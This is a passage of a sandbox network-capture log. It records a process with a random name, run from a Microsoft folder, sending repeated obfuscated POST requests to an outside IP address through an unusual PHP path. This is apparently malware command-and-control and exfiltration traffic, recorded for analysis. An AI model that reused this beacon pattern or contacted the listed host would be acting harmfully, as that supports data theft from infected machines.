Dec 8, 2024 15:28:16.654006958 CET	2584	OUT	Data Raw: 50 5a 43 51 5b 43 55 55 54 5e 50 59 5b 5a 59 5c 59 58 59 56 57 53 51 56 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PZCQ[CUUT^PY[ZY\YXYVWSQVYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Z3[1)5!3*.%4:_.8'/%>&97,<; ]!![ (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49833	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:17.478996038 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:17.915318012 CET	1904	OUT	Data Raw: 50 5d 43 5c 5e 47 55 52 54 5e 50 59 5b 59 59 5c 59 58 59 58 57 53 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P]C\^GURT^PY[YY\YXYXWSQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.$-6%_%59:B9";=,; T%>136Y2+&#<',+ ]!![ $
Dec 8, 2024 15:28:18.795914888 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:19.028336048 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 0f 26 26 23 1d 29 14 31 04 26 3c 24 07 33 3b 33 5c 3e 33 2c 03 33 00 24 14 2d 29 30 0e 34 2c 01 00 27 3d 0d 04 20 3f 33 53 3a 38 20 5a 06 10 21 19 25 3f 3f 10 2b 5d 3a 02 32 38 35 41 21 24 2b 43 27 2e 3c 09 2a 29 39 03 23 11 3c 0a 25 13 07 54 3a 36 31 06 32 0e 01 54 31 1c 2c 55 0f 1f 26 1b 33 32 09 56 23 19 22 1d 22 09 3f 5d 26 0b 2d 0f 35 01 2f 09 2b 03 24 11 3c 54 23 02 22 31 2c 07 2c 3b 2e 04 2a 31 3b 55 25 2c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :&&#)1&<$3;3\>3,3$-)04,'= ?3S:8 Z!%??+]:285A!$+C'.<)9#<%T:612T1,U&32V#""?]&-5/+$<T#"1,,;.1;U%, S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49837	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:17.698935032 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:18.044586897 CET	2584	OUT	Data Raw: 55 5b 43 55 5b 41 55 50 54 5e 50 59 5b 5b 59 5d 59 54 59 5f 57 57 51 56 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U[CU[AUPT^PY[[Y]YTY_WWQVYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.$%^&)\"#Z9'54>^;($=820%&].Y7</_,; ]!![ ,
Dec 8, 2024 15:28:19.037163973 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:19.268606901 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49838	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:19.502793074 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:19.857165098 CET	2584	OUT	Data Raw: 50 5a 43 57 5e 44 50 52 54 5e 50 59 5b 5c 59 58 59 5e 59 5b 57 54 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PZCW^DPRT^PY[\YXY^Y[WTQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3)_19"##:.% ^*,^;3>Y%0%';2X ??/ ]!![ 0
Dec 8, 2024 15:28:20.866543055 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:21.100059032 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49844	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:21.340581894 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:21.685225010 CET	2580	OUT	Data Raw: 50 53 46 50 5b 48 55 5f 54 5e 50 59 5b 58 59 52 59 5d 59 57 57 51 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSFP[HU_T^PY[XYRY]YWWQQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-31%65U=X: !8;$$&%&(17<7, ]!![
Dec 8, 2024 15:28:22.673475981 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:22.908338070 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49850	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:23.158510923 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:23.513469934 CET	2580	OUT	Data Raw: 50 59 43 54 5b 43 55 54 54 5e 50 59 5b 58 59 5a 59 5b 59 5a 57 57 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYCT[CUTT^PY[XYZY[YZWWQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-0>)$:&".B24:_, S' Z%01 ;+ ]!![ $

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49856	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:24.165904045 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:24.513361931 CET	1904	OUT	Data Raw: 55 5f 43 56 5b 46 55 55 54 5e 50 59 5b 5b 59 5f 59 5c 59 56 57 54 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U_CV[FUUT^PY[[Y_Y\YVWTQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3&:9Z50".$&#>Z8W%=3&%:#Z8; ]!![ ,
Dec 8, 2024 15:28:25.562987089 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:25.800937891 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 0f 27 26 37 56 2a 2a 22 1e 25 12 20 06 30 28 01 5d 29 20 34 02 24 17 30 17 3b 04 2b 1c 23 05 3c 58 24 3d 09 02 22 3c 01 56 2e 12 20 5a 06 10 22 05 25 06 20 00 28 2b 3d 5e 25 28 3d 44 35 19 20 1c 33 5b 2f 52 3d 2a 3e 5b 21 3f 09 52 32 3e 2d 54 2e 26 21 05 26 20 37 57 26 26 2c 55 0f 1f 26 16 24 0c 0d 56 34 51 22 57 21 23 27 14 25 1c 3d 0b 35 3c 24 51 2a 3e 2b 00 3f 32 2f 04 34 0c 01 5e 2e 02 25 5d 2a 0c 28 0d 27 06 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :'&7V*"% 0(]) 4$0;+#<X$="<V. Z"% (+=^%(=D5 3[/R=>[!?R2>-T.&!& 7W&&,U&$V4Q"W!#'%=5<$Q>+?2/4^.%](' S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49857	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:24.287689924 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:24.638345003 CET	2584	OUT	Data Raw: 50 59 46 50 5b 47 55 5f 54 5e 50 59 5b 5e 59 5c 59 5c 59 56 57 52 51 58 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYFP[GU_T^PY[^Y\Y\YVWRQXYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Z3=1"66:$.]4^,'10.\&+=4<$, ]!![ 8
Dec 8, 2024 15:28:26.934431076 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:27.168299913 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49863	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:27.409579039 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:27.764698029 CET	2584	OUT	Data Raw: 50 53 43 5d 5b 47 50 52 54 5e 50 59 5b 50 59 5f 59 5e 59 5c 57 51 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSC][GPRT^PY[PY_Y^Y\WQQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Y3Y%):!09-4 X.(R$X%V6^&(>7?']; ]!![
Dec 8, 2024 15:28:28.752886057 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:28.992626905 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49869	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:29.240799904 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:29.591556072 CET	2584	OUT	Data Raw: 50 53 43 54 5b 46 55 5e 54 5e 50 59 5b 5b 59 5a 59 5f 59 58 57 51 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSCT[FU^T^PY[[YZY_YXWQQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'!X&)55\94*Y ;9/,%.<X%0-&(= ,; ]!![ ,
Dec 8, 2024 15:28:30.578612089 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:30.813620090 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49875	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:30.933264971 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:31.279798985 CET	1904	OUT	Data Raw: 50 59 43 53 5b 42 55 57 54 5e 50 59 5b 5c 59 5f 59 58 59 59 57 55 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYCS[BUWT^PY[\Y_YXYYWUQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.$["29&!3:546,^#0>_21&_#(/; ]!![ 0
Dec 8, 2024 15:28:32.343777895 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:32.576565981 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 1f 31 43 23 1e 3d 04 31 05 32 3f 3f 59 24 16 2f 18 2b 20 2c 04 24 5f 24 5c 38 3a 23 54 37 05 23 06 25 3d 05 00 35 3c 0d 51 2e 02 20 5a 06 10 21 5d 31 2f 01 58 3c 05 2a 05 25 06 25 42 36 24 3b 40 25 3d 2f 52 29 3a 36 5d 23 01 2b 11 27 3d 22 0a 2e 35 04 5c 27 23 37 55 27 36 2c 55 0f 1f 25 0b 27 22 3c 0a 22 37 36 56 35 20 0a 04 32 1c 39 08 36 01 2c 18 28 13 28 5b 28 32 24 5a 22 21 2c 06 39 28 31 5e 2a 31 24 08 24 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 91C#=12??Y$/+ ,$_$\8:#T7#%=5<Q. Z!]1/X<%%B6$;@%=/R):6]#+'=".5\'#7U'6,U%'"<"76V5 296,(([(2$Z"!,9(1^1$$< S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49876	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:31.050756931 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:31.403992891 CET	2584	OUT	Data Raw: 55 5f 43 54 5b 47 55 54 54 5e 50 59 5b 5d 59 5d 59 59 59 5b 57 51 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U_CT[GUTT^PY[]Y]YYY[WQQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3[-Z%X!!9'5486/^/'./201&*^ Z<;+ ]!![ 4
Dec 8, 2024 15:28:32.369805098 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:32.608395100 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49881	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:32.846945047 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2576 Expect: 100-continue
